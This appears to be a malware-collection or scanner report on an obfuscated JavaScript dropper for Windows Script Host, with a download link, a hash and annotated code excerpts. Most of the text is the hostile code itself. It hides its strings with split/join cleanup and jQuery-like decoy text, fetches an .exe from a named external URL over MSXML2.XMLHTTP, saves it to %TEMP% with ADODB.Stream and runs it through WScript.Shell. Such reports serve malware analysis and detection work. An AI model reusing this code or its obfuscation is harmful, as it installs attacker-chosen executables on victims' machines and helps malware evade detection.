Hostile ^92% javascript-malware-collection Download

20160328_1c04cc253f9d59206579be1a14a644b2.js

Obfuscated C2 beaconing

WSH dropper with split-join string reconstructionString deobfuscation routine

SHA-2563e8949585c3bae144719df72323f90b156942d9c639b32bd1f5e87f7e4cf8ccf

Evidence

String cleanup using split(key).join("") lines 1–6

1:317… fer.reject ); } else { newDefer[ tuple[ 0 ] + \"With\" ]( this === promise ? newDefer.promise() : this, fn ? [ returned ] : arguments ); } } ); } ); fns = null; } ).promise(); },";
2String.prototype.twofold = function () { aa = this; return aa.charAt(1 * 0 / 1); };
3String.prototype.furry = function () { aa = this; return aa.split(")").join("").split("(").join("").split("9").join(""); };
4
5var ekzlje = ["()A()()()c()t()()"+"i()(v())((e9))(X))"+("xhMQOAP","procedures","converted",")(O())b())")+")j(())e)c))t)", ("insincere","agreements","E")+"x)p"+"an)d)E"+("brocade","append","keith","specials","n)v")+"i)r"+("condos","tennis","on)me)nt")+"S)t"+")ri"+"ngs", ("cherub","subside","PlvSUpJcKw","sociology",")")+")%"+"T)E"+("tasty","meekness","sanscrit","M)P)%"), ""+("usually","whole",").")+"e)x)e", "R)"+("buffoon","connecticut","un)"), "M)"+("impact","paired","engender","lawful)ly","S)X")+("univers)ality","trucks","blackboard","M)L2).")+"X)M"+"L)HT)TP", "W)"+"S)c"+("nonco)mmissioned","colloquial","r)i")+("closure","penmanship","pt).)Sh)e")+("bLdMSIksc","sycamore","damask","l)l")];
6UKv …

Obfuscated computed call cluster lines 16–20

16:169…  obj, promise ) : promise; } }, deferred = {};";
17var qOgIhFXi = EkbrCAD[""+(("SbADxaHYm", "seriously", "baroness", "signing", ""+"9"+("outstrip","chamois","999"))+kpTEmxgS+"))").furry()](("(("+""+("distinction","finding","ideal","salvation","9")+"999"+ekzlje.shift()+"))").furry());
18FVXmJc = " Add list-specific methods jQuery.each( tuples, function( i, tuple ) { var list = tuple[ 2 ], stateString = tuple[ 3 ];";
19
20failse = (("VrcXKRm", "experiences", "modules", "illustration", …

Compares HTTP response status property to 200 lines 31–37

103… ry.isFunction( subordinate.promise ) ) ? length : 0,";
  if (AyLJcpnc.status == 200) {
      var qeBhJRt = new GLNpeWx((("portuguese","anoint","usages","revolutionary","")+"A"+("tennessee","tableau","pO")+"DB." + ""+("sirrah","increases","unfaithful","S")+"tr"+("origins","majority","eam")).replace("p", "D"));
      qeBhJRt[("whitening","elite","forensic","concept","")+"o"+"pen"]();
      gsjhFHl = " Handle state if ( stateString ) { list.add( function() {";
      qeBhJRt.type = 0 + 3 - 2;
      S …

Text has empty named-parameter catch lines 37–51

20… state = [ resolved | rejected ] state = stateString;";
      qeBhJRt[("sponsorship","beans","forearm","persistence","w")+"ri"+"te"](AyLJcpnc[("characteristically","recount","")+"R"+"es"+("unhindered","northwestern","pon") + asthmas + "e"+("looting","optimization","beauty","differential","Bo")+"dy"]);
      ovgusEtN = " [ reject_list | resolve_list ].disable; progress_list.lock }, tuples[ i ^ 1 ][ 2 ].disable, tuples[ 2 ][ 2 ].lock ); ";
      qeBhJRt[(snapshot + ("charm","assumes","o")+"Di"+"ti"+"on").replace("D", asthmas)] = 0;
      dVAlJQnViul = "} deferred[ resolve | reject | notify ] deferred[ tuple[ 0 ] ] = function() { deferred[ tuple[ 0 ] + \"With\" ]( this === deferred ? promise : this, arguments ); return this; }; deferred[ tuple[ 0 ] + \"With\" ] = list.fireWith; } );";
      qeBhJRt["sav"+"eT"+("blackberry","texan","oF")+"ile"](lamplight, 2);
      fXGXpRPRu = " Make the deferred a promise promise.promise( deferred );";
      qeBhJRt.close();
      SfaDSgPN = " Call given func if any if ( func ) { func.call( deferred, deferred ); ";
      EkbrCAD[ekzlje.shift().furry()](lamplight, 1, "tttTJSBCcN" === "vGsBuNSn"); CxKRBTM = " } else if ( !( --remaining ) ) ecicwJ{ deferred.resolveWith( contexts, values ); } }; },";
  }
48
49} catch (BfoaNF) { };
50
  yvdMDUzG = " Update function for both resolve and progress values updateFunc = function( i, contexts, values ) { return function( value ) { conte …

HTTP scheme split before final character lines 51–54

51:203…  slice.call( arguments ) : value; if ( values === progressValues ) { deferred.notifyWith( contexts, values );";
52}
53torpedo("htt"+"p:"+"//or"+("nature","writs","insurgents","kn")+"eyha"+"mp"+("hankering","beholds","immigration","cosmic","er")+("avatar","sector","dropped","adventitious","s.")+("courses","shoemaker","co")+".u"+"k/"+"76"+"5f"+("philosophy","homogeneous","encumber","brand","46")+"vb.e"+"xe","Wlbbpn");
54   RyVQUWQp = " the master D …